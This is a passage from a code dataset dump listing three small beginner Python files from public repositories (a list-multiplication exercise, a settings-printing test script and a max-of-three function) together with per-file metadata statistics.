] | null | null | null | Parte 1/Ativividades do moodle/string/soma das listas.py | Raiane-nepomuceno/Python | acf8bd0436c717614fe7fd4f62e9fa2e432c386a | [
"MIT"
] | null | null | null | a=[1,2,3,4,5,6]
b = [2,4,5,2,4]
print(a*b)
| 10.75 | 15 | 0.465116 | 16 | 43 | 1.25 | 0.5625 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.289474 | 0.116279 | 43 | 3 | 16 | 14.333333 | 0.236842 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2184c83d466f27e3d26dbc062f20b3cbb7144545 | 120 | py | Python | test.py | jaywhen/covid19-trend-CN | d419814a7e08df3b9d1527a2a10b707bfcb53ff4 | [
"MIT"
] | null | null | null | test.py | jaywhen/covid19-trend-CN | d419814a7e08df3b9d1527a2a10b707bfcb53ff4 | [
"MIT"
] | null | null | null | test.py | jaywhen/covid19-trend-CN | d419814a7e08df3b9d1527a2a10b707bfcb53ff4 | [
"MIT"
] | null | null | null | # import os
# from dotenv import load_dotenv
import settings
print(settings.USER)
# s = os.getenv('HELLO')
# print(s)
| 13.333333 | 32 | 0.716667 | 18 | 120 | 4.722222 | 0.611111 | 0.282353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.158333 | 120 | 8 | 33 | 15 | 0.841584 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
21856f422740bf8bd9e14ec6584cdfd665a18908 | 94 | py | Python | main (48).py | alyizzet/Python_Programming_Exercises | 96cc7ab6a760d58a8a08d511d834d13b162cf794 | [
"Apache-2.0"
] | null | null | null | main (48).py | alyizzet/Python_Programming_Exercises | 96cc7ab6a760d58a8a08d511d834d13b162cf794 | [
"Apache-2.0"
] | null | null | null | main (48).py | alyizzet/Python_Programming_Exercises | 96cc7ab6a760d58a8a08d511d834d13b162cf794 | [
"Apache-2.0"
] | null | null | null | def max_three(num1, num2, num3):
return max(num1,num2,num3)
n = max_three(4,2,5)
print(n) | 18.8 | 32 | 0.680851 | 19 | 94 | 3.263158 | 0.631579 | 0.258065 | 0.387097 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1125 | 0.148936 | 94 | 5 | 33 | 18.8 | 0.6625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0.25 | 0.5 | 0.25 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.